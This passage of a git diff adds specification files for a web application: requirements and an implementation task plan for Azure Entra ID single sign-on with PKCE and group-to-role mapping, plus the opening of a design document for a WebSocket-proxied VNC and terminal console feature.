redirected to my organization's Azure login page, so that I can authenticate using my corporate credentials. + +#### Acceptance Criteria + +1. WHEN a GET request is received at `/api/auth/entra-id/login`, THE Auth_Service SHALL respond with an HTTP 302 redirect to the Entra ID authorization endpoint (`https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/authorize`) with a valid OpenID Connect authorization request +2. THE Auth_Service SHALL include `response_type=code`, the configured `client_id`, the configured `redirect_uri`, scopes including at minimum `openid profile email`, a cryptographically random `state` parameter (minimum 32 bytes of entropy), and a cryptographically random `nonce` parameter (minimum 32 bytes of entropy) in the authorization URL query parameters +3. THE Auth_Service SHALL use PKCE by generating a `code_verifier` of 43 to 128 characters per RFC 7636, computing a `code_challenge` using S256, and including `code_challenge` and `code_challenge_method=S256` in the authorization URL +4. THE Auth_Service SHALL store the `state`, `nonce`, and `code_verifier` values server-side associated with the user's session, with a maximum time-to-live of 10 minutes, for validation during the callback +5. IF `ENTRA_ID_ENABLED` is not `"true"`, THEN THE Auth_Service SHALL return HTTP 404 for the `/api/auth/entra-id/login` endpoint +6. IF the Entra ID integration is enabled but required configuration values (`ENTRA_ID_TENANT_ID`, `ENTRA_ID_CLIENT_ID`, or `ENTRA_ID_REDIRECT_URI`) are missing or empty at request time, THEN THE Auth_Service SHALL return an HTTP 500 response with an error message indicating a server configuration problem without exposing the specific missing values + +### Requirement 3: Authorization Code Callback and Token Exchange + +**User Story:** As a user returning from Azure login, I want Pabawi to securely exchange the authorization code for tokens, so that my identity is verified without exposing credentials. + +#### Acceptance Criteria + +1. WHEN a GET request is received at `/api/auth/entra-id/callback` with a non-empty `code` query parameter and a non-empty `state` query parameter, THE Auth_Service SHALL exchange the authorization code for tokens at the Entra ID token endpoint using the stored `code_verifier`, completing the exchange within 10 seconds or treating it as a failure +2. WHEN performing the authorization code exchange, THE Auth_Service SHALL validate that the `state` query parameter matches the value stored for the session prior to contacting the token endpoint +3. THE Auth_Service SHALL validate the returned ID_Token signature against the Entra ID JWKS (JSON Web Key Set) endpoint keys +4. THE Auth_Service SHALL validate that the `nonce` claim in the ID_Token matches the stored nonce value +5. THE Auth_Service SHALL validate the `aud` (audience) claim matches the configured `client_id` and the `iss` (issuer) claim matches the expected Entra ID issuer URL for the configured tenant +6. IF the `state` query parameter is missing, empty, or does not match the value stored for the session, THEN THE Auth_Service SHALL return HTTP 400 with error code `INVALID_STATE` +7. IF the authorization code exchange fails due to a non-2xx response from the token endpoint or a network timeout, THEN THE Auth_Service SHALL return HTTP 401 with error code `TOKEN_EXCHANGE_FAILED` +8. IF the ID_Token validation fails (signature, nonce, audience, or issuer), THEN THE Auth_Service SHALL return HTTP 401 with error code `INVALID_ID_TOKEN` +9. IF the callback request contains an `error` query parameter instead of a `code` parameter, THEN THE Auth_Service SHALL return HTTP 401 with error code `AUTH_PROVIDER_ERROR` and include the `error` and `error_description` values from the query string in the response body +10. WHEN the authorization code exchange and token validation complete (whether successfully or unsuccessfully), THE Auth_Service SHALL delete the stored `state`, `nonce`, and `code_verifier` values for the session so they cannot be reused + +### Requirement 4: User Provisioning on First SSO Login + +**User Story:** As a user signing in via Entra ID for the first time, I want Pabawi to automatically create my account from my Azure profile, so that I do not need a separate registration step. + +#### Acceptance Criteria + +1. WHEN the ID_Token is validated and no Federated_User exists with the matching `sub` claim, THE Auth_Service SHALL create a new user account using the `preferred_username`, `email`, `given_name`, and `family_name` claims from the ID_Token, storing an empty or null password hash to indicate the account is federation-only +2. THE Auth_Service SHALL store the Entra ID `sub` claim as the federated identity link on the new user record +3. WHEN the ID_Token is validated and a Federated_User already exists with the matching `sub` claim, THE Auth_Service SHALL use the existing user account for session creation without modifying the stored profile claims +4. WHEN a local user account exists with the same email as the Entra ID user but no federated link, THE Auth_Service SHALL link the Entra ID identity to the existing local account rather than creating a duplicate, preserving the existing password hash so that local login remains available +5. THE Auth_Service SHALL set newly provisioned Federated_User accounts as active by default and assign the same default role that locally created non-admin users receive +6. IF the `email` or `preferred_username` claim is missing from the ID_Token, THEN THE Auth_Service SHALL reject the authentication attempt and return an error response indicating which required claims are absent +7. IF the `preferred_username` claim does not conform to the username validation rules (3–50 characters, alphanumeric and underscores only), THEN THE Auth_Service SHALL derive the username from the local-part of the `email` claim, truncated to 50 characters, replacing disallowed characters with underscores +8. IF account provisioning fails after token validation (database write error or uniqueness constraint violation on the derived username), THEN THE Auth_Service SHALL reject the authentication attempt and return an error response indicating that account creation failed, without creating a partial user record + +### Requirement 5: Group-to-Role Mapping + +**User Story:** As an administrator, I want Entra ID group memberships to map to Pabawi roles, so that access control is managed centrally in Azure. + +#### Acceptance Criteria + +1. WHEN `ENTRA_ID_GROUP_MAPPING` is configured and the ID_Token contains a `groups` claim, THE RBAC_Service SHALL assign Pabawi roles to the user by matching each group object ID in the claim against the mapping keys and assigning the corresponding role values, and SHALL revoke any previously-mapped roles whose group object IDs are no longer present in the current `groups` claim +2. THE RBAC_Service SHALL match Entra ID group object IDs from the `groups` claim against keys in the `ENTRA_ID_GROUP_MAPPING` configuration using case-insensitive string comparison of UUID values +3. WHEN the user holds Pabawi roles that were assigned independently of the group mapping (manually or via other mechanisms), THE RBAC_Service SHALL preserve those roles unchanged during SSO login group synchronization +4. WHEN no `ENTRA_ID_GROUP_MAPPING` is configured, THE RBAC_Service SHALL not modify the user's existing Pabawi roles during SSO login +5. IF `ENTRA_ID_GROUP_MAPPING` references a Pabawi role name that does not exist in the roles table, THEN THE RBAC_Service SHALL log a warning indicating the unresolvable role name and skip that mapping entry without failing the login +6. IF `ENTRA_ID_GROUP_MAPPING` is configured but the ID_Token does not contain a `groups` claim, THEN THE RBAC_Service SHALL skip group-to-role synchronization and preserve the user's existing Pabawi roles unchanged +7. IF `ENTRA_ID_GROUP_MAPPING` contains invalid JSON that cannot be parsed, THEN THE RBAC_Service SHALL log an error at startup indicating the malformed configuration and disable group-to-role synchronization until the configuration is corrected + +### Requirement 6: Pabawi Session Issuance After SSO Authentication + +**User Story:** As a user who authenticated via Entra ID, I want to receive Pabawi JWT tokens, so that subsequent API requests are authorized without re-contacting Azure. + +#### Acceptance Criteria + +1. WHEN user provisioning or lookup completes after Entra ID authentication, THE Auth_Service SHALL issue a Pabawi JWT access token containing the user's id, username, and Pabawi roles, and a refresh token, using the same signing algorithm, issuer, audience, and expiry configuration as locally-authenticated tokens +2. WHEN issuing tokens for an SSO-authenticated user, THE Auth_Service SHALL generate a single-use authorization code with a maximum lifetime of 60 seconds, store it server-side mapped to the issued tokens, and redirect the user to the frontend application URL with the authorization code as a query parameter +3. WHEN the frontend exchanges the authorization code at the token endpoint, THE Auth_Service SHALL return the mapped access token and refresh token, then immediately invalidate the authorization code so it cannot be reused +4. IF the authorization code has expired or has already been exchanged, THEN THE Auth_Service SHALL reject the exchange request with an error response indicating the code is invalid and SHALL NOT issue tokens +5. WHEN issuing tokens after successful SSO login, THE Auth_Service SHALL update the user's `last_login_at` timestamp to the current UTC time +6. WHEN issuing tokens after successful SSO login, THE Auth_Service SHALL record the login via the AuditLoggingService with event type AUTH, action LOGIN_SUCCESS, and authentication method set to `entra-id` + +### Requirement 7: Coexistence with Local Authentication + +**User Story:** As an administrator, I want both local and SSO authentication to work simultaneously, so that users can choose their preferred login method. + +#### Acceptance Criteria + +1. WHILE `ENTRA_ID_ENABLED` is `"true"`, THE Auth_Service SHALL continue to accept local username/password authentication at `/api/auth/login` +2. THE Auth_Service SHALL verify JWT tokens issued via either local or Entra ID authentication using the same middleware and grant equivalent access to protected API endpoints for tokens carrying identical role and permission claims +3. WHEN a Federated_User has a password hash set, THE Auth_Service SHALL allow that user to authenticate via either local credentials or Entra ID +4. IF a Federated_User has no password hash set and attempts local login, THEN THE Auth_Service SHALL reject the request with HTTP 401 and an error message indicating the account requires SSO authentication +5. WHILE `ENTRA_ID_ENABLED` is `"true"`, THE frontend SHALL display both the "Sign in with Microsoft" button and the local login form on the login page +6. WHILE `ENTRA_ID_ENABLED` is `"false"`, THE frontend SHALL display only the local login form and SHALL NOT render the "Sign in with Microsoft" button + +### Requirement 8: Logout Flow + +**User Story:** As a user who authenticated via SSO, I want to log out completely, so that my session is terminated in both Pabawi and optionally in Azure. + +#### Acceptance Criteria + +1. WHEN an authenticated user calls the `POST /api/auth/logout` endpoint, THE Auth_Service SHALL revoke the access token presented in the Authorization header and any associated refresh token, and return an HTTP 200 response +2. IF the user's session was established via Entra ID authentication, THEN THE Auth_Service SHALL include an `entraIdLogoutUrl` field in the logout response body containing the Entra ID end-session endpoint URL with the `post_logout_redirect_uri` parameter set to the configured redirect destination and the `id_token_hint` parameter set to the user's stored ID token +3. IF the user's session was established via local authentication (not via Entra ID), THEN THE Auth_Service SHALL omit the `entraIdLogoutUrl` field from the logout response body +4. WHEN the frontend receives a logout response containing an `entraIdLogoutUrl` field, THE frontend SHALL redirect the user to that URL to complete single sign-out at Azure +5. THE Auth_Service SHALL accept an optional `ENTRA_ID_POST_LOGOUT_REDIRECT_URI` configuration variable for the post-logout redirect destination, defaulting to the value of the application's base URL (the `HOST` and `PORT` configuration) +6. IF the access token presented in the logout request is already revoked or invalid, THEN THE Auth_Service SHALL return an HTTP 401 response with error code `TOKEN_REVOKED` + +### Requirement 9: Security Controls + +**User Story:** As an administrator, I want the SSO integration to follow security best practices, so that the authentication flow is resistant to common attacks. + +#### Acceptance Criteria + +1. THE Auth_Service SHALL validate the `state` parameter on every callback request and reject with HTTP 400 if missing or mismatched +2. THE Auth_Service SHALL validate the `nonce` in every ID_Token and reject with HTTP 401 if it does not match the stored value +3. THE Auth_Service SHALL use PKCE (S256) on every authorization request to prevent authorization code interception +4. THE Auth_Service SHALL validate ID_Token signatures using keys fetched from the Entra ID JWKS endpoint and cache the JWKS keys with a configurable TTL (default 24 hours) +5. THE Auth_Service SHALL reject ID_Tokens where the `exp` claim indicates the token has expired, allowing a clock skew tolerance of no more than 5 minutes +6. THE Auth_Service SHALL store `state`, `nonce`, and `code_verifier` values with a maximum lifetime of 10 minutes, and SHALL reject callback requests arriving after expiry with HTTP 400 and error code `SESSION_EXPIRED` +7. THE Auth_Service SHALL never log or expose the `client_secret`, authorization codes, or Entra ID tokens in application logs +8. IF the JWKS endpoint is unreachable (connection timeout exceeding 5 seconds or non-2xx response), THEN THE Auth_Service SHALL use cached keys if available and log a warning, or return HTTP 503 with error code `JWKS_UNAVAILABLE` if no cached keys exist + +### Requirement 10: Frontend SSO Integration + +**User Story:** As a user, I want the login page to clearly present SSO as an option, so that I can authenticate with my corporate account. + +#### Acceptance Criteria + +1. WHEN the frontend loads the login page, THE frontend SHALL call `/api/auth/providers` to determine which authentication methods are available +2. IF the `/api/auth/providers` call fails or does not respond within 5 seconds, THEN THE frontend SHALL display only the local login form and show an error indication that SSO availability could not be determined +3. WHEN the providers response indicates Entra ID is enabled, THE frontend SHALL display a "Sign in with Microsoft" button using the Microsoft identity branding guidelines +4. WHEN the user clicks "Sign in with Microsoft", THE frontend SHALL redirect to `/api/auth/entra-id/login` +5. WHEN the frontend receives the redirect back from the SSO callback with an authorization code in the URL query parameter, THE frontend SHALL POST the code to `/api/auth/entra-id/token` and upon receiving a successful response, store the returned access token, refresh token, and user object in auth state and navigate to the authenticated landing page +6. IF the token exchange request to `/api/auth/entra-id/token` returns a non-success response, THEN THE frontend SHALL display an error message indicating authentication failed, retain the login page, and not store any tokens +7. WHEN the providers response does not indicate Entra ID is enabled, THE frontend SHALL display only the local login form without SSO options + +### Requirement 11: Authentication Provider Discovery + +**User Story:** As a frontend application, I want to discover available authentication methods, so that I can render the appropriate login options. + +#### Acceptance Criteria + +1. WHEN a GET request is received at `/api/auth/providers`, THE Auth_Service SHALL return a 200 response with a JSON object listing available authentication methods +2. THE Auth_Service SHALL include `{ "local": true }` in the providers response at all times +3. IF `ENTRA_ID_ENABLED` is set to `"true"`, THEN THE Auth_Service SHALL include `{ "entraId": { "enabled": true, "name": "Microsoft Entra ID" } }` in the providers response +4. IF `ENTRA_ID_ENABLED` is not set to `"true"`, THEN THE Auth_Service SHALL omit the `entraId` key from the providers response +5. THE `/api/auth/providers` endpoint SHALL be accessible without authentication diff --git a/.kiro/specs/azure-entra-id-auth/tasks.md b/.kiro/specs/azure-entra-id-auth/tasks.md new file mode 100644 index 00000000..d031cc75 --- /dev/null +++ b/.kiro/specs/azure-entra-id-auth/tasks.md @@ -0,0 +1,243 @@ +# Implementation Plan: Azure Entra ID Authentication + +## Overview + +Implements Azure Entra ID (OpenID Connect) as a federated authentication provider using the OAuth 2.0 Authorization Code Flow with PKCE. The implementation adds a new `EntraIdService`, database migration, Express routes, and frontend SSO components while maintaining full backward compatibility with local authentication. + +## Tasks + +- [x] 1. Database migration and configuration schema + - [x] 1.1 Create database migration `016_entra_id_auth.sql` + - Create `federated_identities` table with columns: id, user_id, provider, subject, issuer, email, id_token, created_at, updated_at + - Create `oauth_state_store` table with columns: state, nonce, code_verifier, created_at, expires_at + - Create `oauth_auth_codes` table with columns: code, access_token, refresh_token, user_id, id_token, auth_method, created_at, expires_at, exchanged + - Add indexes: idx_federated_identities_user, idx_federated_identities_lookup, idx_oauth_state_expires, idx_oauth_auth_codes_expires + - Add FOREIGN KEY on federated_identities.user_id → users(id) ON DELETE CASCADE + - Add UNIQUE constraint on (provider, subject) in federated_identities + - _Requirements: 4.1, 4.2, 6.2, 9.6_ + + - [x] 1.2 Add `EntraIdConfigSchema` to `backend/src/config/schema.ts` + - Define Zod schema with: enabled (boolean, default false), tenantId (string min 1), clientId (string min 1), clientSecret (string min 1), redirectUri (string url), scopes (array of strings, default ["openid","profile","email"]), groupMapping (record string→string, nullable, default null), postLogoutRedirectUri (string url, optional), jwksCacheTtlMs (number int positive, default 86400000) + - Export `EntraIdConfigSchema` and inferred `EntraIdConfig` type + - Add `entraId` optional field to `AppConfigSchema` + - _Requirements: 1.1, 1.2, 1.4, 1.5, 1.6_ + + - [x] 1.3 Add Entra ID configuration parsing to `ConfigService.ts` + - Add `parseEntraIdConfig()` private method following existing integration parsing pattern + - Parse `ENTRA_ID_ENABLED`, `ENTRA_ID_TENANT_ID`, `ENTRA_ID_CLIENT_ID`, `ENTRA_ID_CLIENT_SECRET`, `ENTRA_ID_REDIRECT_URI` + - Parse optional `ENTRA_ID_SCOPES` (comma-separated, discard empty entries, default to openid,profile,email) + - Parse optional `ENTRA_ID_GROUP_MAPPING` (JSON Record, throw on invalid JSON) + - Parse optional `ENTRA_ID_POST_LOGOUT_REDIRECT_URI`, `ENTRA_ID_JWKS_CACHE_TTL_MS` + - Skip all parsing when `ENTRA_ID_ENABLED !== "true"`; throw with all missing variable names when enabled but required vars absent + - Add `getEntraIdConfig()` public accessor method + - _Requirements: 1.1, 1.2, 1.3, 1.4, 1.5, 1.6_ + + - [x] 1.4 Write property tests for configuration parsing (Properties 1–4) + - **Property 1: Non-"true" ENTRA_ID_ENABLED skips config validation** + - **Property 2: Missing required variables produce comprehensive error** + - **Property 3: Scope parsing discards empty entries** + - **Property 4: Group mapping JSON round-trip** + - **Validates: Requirements 1.1, 1.2, 1.3, 1.4, 1.5, 1.6** + +- [x] 2. Checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +- [x] 3. Core EntraIdService implementation + - [x] 3.1 Create `backend/src/services/EntraIdService.ts` — authorization URL generation + - Implement class with constructor accepting DatabaseAdapter, EntraIdConfig, AuthenticationService, UserService, RoleService, AuditLoggingService, LoggerService + - Implement `generateAuthorizationUrl()`: generate state (32 bytes crypto random), nonce (32 bytes), code_verifier (43–128 chars per RFC 7636), compute code_challenge via SHA256+BASE64URL, store state/nonce/code_verifier in `oauth_state_store` with 10-minute TTL, return authorization URL with all required query parameters + - Implement `cleanupExpiredState()`: delete expired entries from oauth_state_store + - Implement `getProviderInfo()`: return `{ enabled: true, name: "Microsoft Entra ID" }` + - _Requirements: 2.1, 2.2, 2.3, 2.4, 9.3, 9.6_ + + - [x] 3.2 Write property tests for authorization URL and PKCE (Properties 5–6) + - **Property 5: Authorization URL contains all required parameters** + - **Property 6: PKCE code_verifier/code_challenge correctness** + - **Validates: Requirements 2.2, 2.3, 9.3** + + - [x] 3.3 Implement `handleCallback()` in EntraIdService + - Validate state parameter against stored entry (reject if missing/expired with INVALID_STATE) + - Delete state entry immediately (one-time use, even on failure) + - Exchange authorization code at `https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token` with code_verifier, client_id, client_secret, redirect_uri (10s timeout) + - Fetch JWKS keys from `https://login.microsoftonline.com/{tenant}/discovery/v2.0/keys` (cache with configurable TTL, fallback to cache on failure) + - Validate ID token: verify RS256 signature against JWKS keys, validate nonce, aud (=client_id), iss (=`https://login.microsoftonline.com/{tenant}/v2.0`), exp (5min skew max) + - On validation failure, return typed errors (INVALID_STATE, TOKEN_EXCHANGE_FAILED, INVALID_ID_TOKEN, AUTH_PROVIDER_ERROR, MISSING_CLAIMS) + - _Requirements: 3.1, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7, 3.8, 3.9, 3.10, 9.1, 9.2, 9.4, 9.5, 9.7, 9.8_ + + - [x] 3.4 Write property tests for callback validation (Properties 7–11) + - **Property 7: State mismatch rejects callback** + - **Property 8: ID token signature validation** + - **Property 9: Nonce mismatch rejects token** + - **Property 10: Audience and issuer validation** + - **Property 11: State entries deleted after callback processing** + - **Validates: Requirements 3.2, 3.3, 3.4, 3.5, 3.6, 3.10, 9.1, 9.2** + +- [x] 4. Checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +- [x] 5. User provisioning and group-to-role synchronization + - [x] 5.1 Add `createFederatedUser()` and `linkFederatedIdentity()` to `UserService.ts` + - `createFederatedUser(claims)`: create user with null password_hash, is_active=1, derive username from preferred_username or email local-part (replace non-[a-zA-Z0-9_] with underscores, truncate to 50 chars), assign default viewer role, create federated_identities record with provider='entra-id' and subject=sub + - `linkFederatedIdentity(userId, provider, subject, issuer, email)`: insert into federated_identities linking existing user to Entra ID identity + - `findByFederatedIdentity(provider, subject)`: lookup user by federated identity + - `findByEmail(email)`: public wrapper around existing private getUserByEmail + - Handle uniqueness constraint violations on derived username with retry/error + - _Requirements: 4.1, 4.2, 4.4, 4.5, 4.7, 4.8_ + + - [x] 5.2 Implement user provisioning logic in EntraIdService + - After ID token validation, look up federated_identities by (provider='entra-id', subject=sub) + - If found: use existing user, do NOT update profile claims (immutability) + - If not found: check users by email; if email match exists, link federated identity to existing account (preserve password_hash) + - If no match: create new federated user via UserService.createFederatedUser() + - Reject if email or preferred_username claims missing (MISSING_CLAIMS error) + - Validate username derivation when preferred_username doesn't match ^[a-zA-Z0-9_]{3,50}$ + - _Requirements: 4.1, 4.2, 4.3, 4.4, 4.5, 4.6, 4.7, 4.8_ + + - [x] 5.3 Write property tests for user provisioning (Properties 12–14) + - **Property 12: New federated user provisioning invariant** + - **Property 13: Existing federated user profile immutability** + - **Property 14: Username derivation from invalid preferred_username** + - **Validates: Requirements 4.1, 4.2, 4.3, 4.5, 4.7** + + - [x] 5.4 Implement group-to-role synchronization in EntraIdService + - If groupMapping is configured and groups claim is present: match group object IDs case-insensitively against mapping keys + - Assign corresponding Pabawi roles for matched groups + - Revoke previously-mapped roles whose group IDs are no longer in the claim + - Preserve roles assigned independently of the mapping (manually assigned) + - If mapping references non-existent Pabawi role: log warning, skip entry + - If no groups claim present or no mapping configured: skip sync entirely, preserve existing roles + - _Requirements: 5.1, 5.2, 5.3, 5.4, 5.5, 5.6_ + + - [x] 5.5 Write property test for group-to-role synchronization (Property 15) + - **Property 15: Group-to-role synchronization correctness** + - **Validates: Requirements 5.1, 5.2, 5.3** + +- [x] 6. Checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +- [x] 7. Session issuance and routes + - [x] 7.1 Implement `exchangeAuthCode()` and session issuance in EntraIdService + - After user provisioning: generate Pabawi JWT access + refresh tokens via AuthenticationService + - Generate single-use authorization code (crypto random, 60s TTL), store in oauth_auth_codes mapped to tokens + userId + id_token + - `exchangeAuthCode(code)`: lookup code, verify not expired and not already exchanged, mark as exchanged, return tokens + user DTO + - Reject expired/exchanged codes with INVALID_AUTH_CODE error + - Update user's last_login_at timestamp + - Record audit log via AuditLoggingService (AUTH, LOGIN_SUCCESS, method=entra-id) + - _Requirements: 6.1, 6.2, 6.3, 6.4, 6.5, 6.6_ + + - [x] 7.2 Write property test for authorization code single-use and TTL (Property 16) + - **Property 16: Authorization code single-use and TTL** + - **Validates: Requirements 6.2, 6.3, 6.4** + + - [x] 7.3 Create `backend/src/routes/entraIdAuth.ts` route factory + - Export `createEntraIdAuthRouter(databaseService, container)` following existing pattern + - `GET /api/auth/entra-id/login`: call EntraIdService.generateAuthorizationUrl(), respond with 302 redirect + - `GET /api/auth/entra-id/callback`: handle OAuth callback — validate state, exchange code, provision user, issue tokens, redirect to frontend with auth code + - `POST /api/auth/entra-id/token`: exchange single-use auth code for Pabawi JWT pair (returns { token, refreshToken, user }) + - Return 404 for all endpoints when Entra ID is not enabled + - Return 500 with SERVER_CONFIGURATION_ERROR if config values missing at request time + - Handle error parameter from Entra ID (AUTH_PROVIDER_ERROR) + - _Requirements: 2.1, 2.5, 2.6, 3.1, 3.6, 3.7, 3.8, 3.9, 6.2, 6.3, 6.4_ + + - [x] 7.4 Add `/api/auth/providers` endpoint and modify logout in `auth.ts` + - Add `GET /api/auth/providers` endpoint (no auth required): return `{ local: true }` always, add `{ entraId: { enabled: true, name: "Microsoft Entra ID" } }` when enabled + - Modify `POST /api/auth/logout`: after token revocation, check if user session was established via Entra ID (lookup federated_identities + stored id_token), include `entraIdLogoutUrl` in response when applicable + - Implement `buildLogoutUrl(idToken)` in EntraIdService: construct Entra ID end-session URL with post_logout_redirect_uri and id_token_hint + - _Requirements: 7.4, 8.1, 8.2, 8.3, 8.5, 8.6, 11.1, 11.2, 11.3, 11.4, 11.5_ + + - [x] 7.5 Write property test for providers endpoint (Property 17) + - **Property 17: Providers endpoint always includes local authentication** + - **Validates: Requirements 11.2** + +- [x] 8. Checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +- [x] 9. DI container registration and server wiring + - [x] 9.1 Register EntraIdService in `DIContainer.ts` and wire in `server.ts` + - Add `entraId` as optional key in `ServiceRegistry` interface + - In server.ts: conditionally instantiate EntraIdService when Entra ID config is enabled + - Mount entraIdAuth router at `/api/auth/entra-id` (conditional on config) + - Ensure EntraIdService receives all required dependencies: DatabaseAdapter, EntraIdConfig, AuthenticationService, UserService, RoleService, AuditLoggingService, LoggerService + - Set up periodic cleanup of expired state entries (e.g., every 5 minutes) + - _Requirements: 2.5, 7.1, 7.2_ + + - [x] 9.2 Write integration tests for the full OAuth flow + - Test full authorization URL generation → callback → token exchange flow with mocked Entra ID endpoints + - Test JWKS cache fallback on endpoint failure + - Test token exchange timeout behavior (>10s) + - Test database failure during provisioning (atomicity) + - Test audit logging verification + - Test federation-only account local login rejection (HTTP 401) + - Test coexistence: local auth continues working when Entra ID enabled + - _Requirements: 2.1, 3.1, 7.1, 7.2, 7.3, 7.4, 9.4, 9.8_ + +- [x] 10. Frontend SSO integration + - [x] 10.1 Create `frontend/src/lib/entraIdAuth.svelte.ts` + - Reactive state for provider availability (call `/api/auth/providers` on init) + - Handle provider discovery failure (5s timeout → show only local login) + - Expose `isEntraIdEnabled` derived state and `entraIdProviderName` state + - Implement callback handler: extract `code` from URL query parameter, POST to `/api/auth/entra-id/token`, store tokens in auth state, navigate to landing page + - Handle token exchange errors: display error message, retain login page + - _Requirements: 10.1, 10.2, 10.5, 10.6, 10.7_ + + - [x] 10.2 Create `frontend/src/components/EntraIdLoginButton.svelte` + - Microsoft-branded "Sign in with Microsoft" button following Microsoft identity branding guidelines + - On click: redirect to `/api/auth/entra-id/login` + - Accessible: proper button semantics, ARIA label, keyboard interaction + - _Requirements: 10.3, 10.4_ + + - [x] 10.3 Modify `frontend/src/pages/Login.svelte` for SSO support + - Import and use entraIdAuth state module + - Conditionally render EntraIdLoginButton when `isEntraIdEnabled` is true + - Show only local login form when Entra ID is not enabled + - Show error indication when provider discovery fails + - Handle callback redirect: detect `?code=` in URL, trigger token exchange flow + - Implement SSO logout redirect when logout response contains `entraIdLogoutUrl` + - _Requirements: 7.5, 7.6, 8.4, 10.1, 10.2, 10.3, 10.5, 10.6, 10.7_ + + - [x] 10.4 Write frontend tests + - Test EntraIdLoginButton renders correctly with Microsoft branding + - Test Login.svelte conditionally renders SSO button based on provider state + - Test callback handler extracts code and exchanges for tokens + - Test error state when provider discovery or token exchange fails + - Test SSO logout redirect behavior + - _Requirements: 7.5, 7.6, 10.1, 10.2, 10.3, 10.5, 10.6_ + +- [x] 11. Final checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +## Notes + +- Tasks marked with `*` are optional and can be skipped for faster MVP +- Each task references specific requirements for traceability +- Checkpoints ensure incremental validation +- Property tests validate the 17 correctness properties from the design document using fast-check +- Unit tests validate specific examples and edge cases +- The project uses TypeScript strict mode; all code must pass `tsc --noEmit`, ESLint, and vitest +- Database columns use `snake_case` with `AS "camelCase"` aliases in SELECT queries (per database conventions) +- Phased execution: each task group touches ≤5 files to comply with workspace steering rules +- Never log client_secret, authorization codes, or tokens (security requirement 9.7) + +## Task Dependency Graph + +```json +{ + "waves": [ + { "id": 0, "tasks": ["1.1", "1.2"] }, + { "id": 1, "tasks": ["1.3", "1.4"] }, + { "id": 2, "tasks": ["3.1"] }, + { "id": 3, "tasks": ["3.2", "3.3"] }, + { "id": 4, "tasks": ["3.4", "5.1"] }, + { "id": 5, "tasks": ["5.2", "5.4"] }, + { "id": 6, "tasks": ["5.3", "5.5"] }, + { "id": 7, "tasks": ["7.1"] }, + { "id": 8, "tasks": ["7.2", "7.3"] }, + { "id": 9, "tasks": ["7.4", "7.5"] }, + { "id": 10, "tasks": ["9.1"] }, + { "id": 11, "tasks": ["9.2", "10.1"] }, + { "id": 12, "tasks": ["10.2"] }, + { "id": 13, "tasks": ["10.3"] }, + { "id": 14, "tasks": ["10.4"] } + ] +} +``` diff --git a/.kiro/specs/console-integration/.config.kiro b/.kiro/specs/console-integration/.config.kiro new file mode 100644 index 00000000..69ea5a67 --- /dev/null +++ b/.kiro/specs/console-integration/.config.kiro @@ -0,0 +1 @@ +{"specId": "0152de7e-c322-4184-81b5-4e31c61d4cc5", "workflowType": "requirements-first", "specType": "feature"} diff --git a/.kiro/specs/console-integration/design.md b/.kiro/specs/console-integration/design.md new file mode 100644 index 00000000..3ed11447 --- /dev/null +++ b/.kiro/specs/console-integration/design.md @@ -0,0 +1,586 @@ +# Design Document: Console Integration + +## Overview + +The console integration feature introduces a `ConsolePlugin` interface into Pabawi's plugin architecture, enabling any infrastructure integration to expose remote console/terminal access (VNC, serial, SSH, SSM) to managed nodes. The system uses WebSocket proxying to relay binary VNC frames or terminal I/O between the browser and the upstream provider, with session lifecycle management, RBAC gating, and audit logging. + +The initial implementation targets Proxmox VNC consoles. The architecture is designed to accommodate future providers (AWS SSM, Azure Serial Console) without structural changes. + +### Key Design Decisions + +1. **WebSocket proxy over direct connection** — The backend mediates all console traffic. This enables session-level RBAC, audit logging, token-based access, and upstream credential isolation. The browser never connects directly to Proxmox/AWS/Azure. + +2. **Separate WebSocket server on shared HTTP server** — The `ws` library attaches to the existing Express HTTP server with path-based routing (`/ws/console/vnc`, `/ws/console/terminal`), avoiding a second port. + +3. **Session token for WebSocket auth** — JWT tokens authenticate the REST session creation, but a short-lived opaque session token authorizes the WebSocket upgrade. This decouples the WebSocket handshake (which can only pass tokens via query params) from JWT, limiting exposure. + +4. **ConsolePlugin as a third plugin interface** — Alongside `ExecutionToolPlugin` and `InformationSourcePlugin`, `ConsolePlugin` is registered in a dedicated map on `IntegrationManager`. This keeps concerns separated: console access is orthogonal to execution and information retrieval. + +5. **Provider-level VNC ticket acquisition** — The Proxmox provider acquires a time-limited VNC proxy ticket from the Proxmox API, then connects upstream using that ticket. The ticket never reaches the browser. + +## Architecture + +```mermaid +graph TB + subgraph Frontend + CV[ConsoleViewer Component] + NV[noVNC Adapter] + XT[xterm.js Adapter] + end + + subgraph Backend + CR[Console Routes] + CSM[ConsoleSessionManager] + WSP[WebSocket Proxy Server] + IM[IntegrationManager] + PCP[ProxmoxConsoleProvider] + end + + subgraph External + PAPI[Proxmox API] + PVNC[Proxmox VNC WebSocket] + end + + CV --> |REST: create/terminate session| CR + CV --> |WebSocket: data relay| WSP + NV --> CV + XT --> CV + + CR --> CSM + CR --> IM + CSM --> |session state| DB[(SQLite/Postgres)] + WSP --> |validate token| CSM + WSP --> |binary relay| PVNC + + IM --> PCP + PCP --> PAPI + PCP --> PVNC +``` + +### Console Open Flow — Sequence Diagram + +```mermaid +sequenceDiagram + participant F as Frontend + participant R as Console Routes + participant RBAC as RBAC Middleware + participant SM as SessionManager + participant IM as IntegrationManager + participant PCP as ProxmoxConsoleProvider + participant PAPI as Proxmox API + participant WSP as WebSocket Proxy + participant PVNC as Proxmox VNC WS + + F->>R: POST /api/console/sessions {nodeId, provider} + R->>RBAC: check console:access + RBAC-->>R: allowed + R->>SM: checkConcurrentLimit(userId) + SM-->>R: under limit + R->>IM: getConsoleProvider("proxmox") + IM-->>R: ProxmoxConsoleProvider + R->>PCP: createSession(nodeId, userId) + PCP->>PAPI: POST /nodes/{node}/{type}/{vmid}/vncproxy + PAPI-->>PCP: {ticket, port, upid} + PCP-->>R: ConsoleSession {sessionId, token, wsUrl} + R->>SM: storeSession(session) + SM->>DB: INSERT console_sessions + R-->>F: 201 {sessionId, token, wsUrl, transport} + + F->>WSP: WS connect /ws/console/vnc?token=xxx + WSP->>SM: validateToken(token) + SM-->>WSP: session (valid, owned by user) + WSP->>PVNC: WS connect 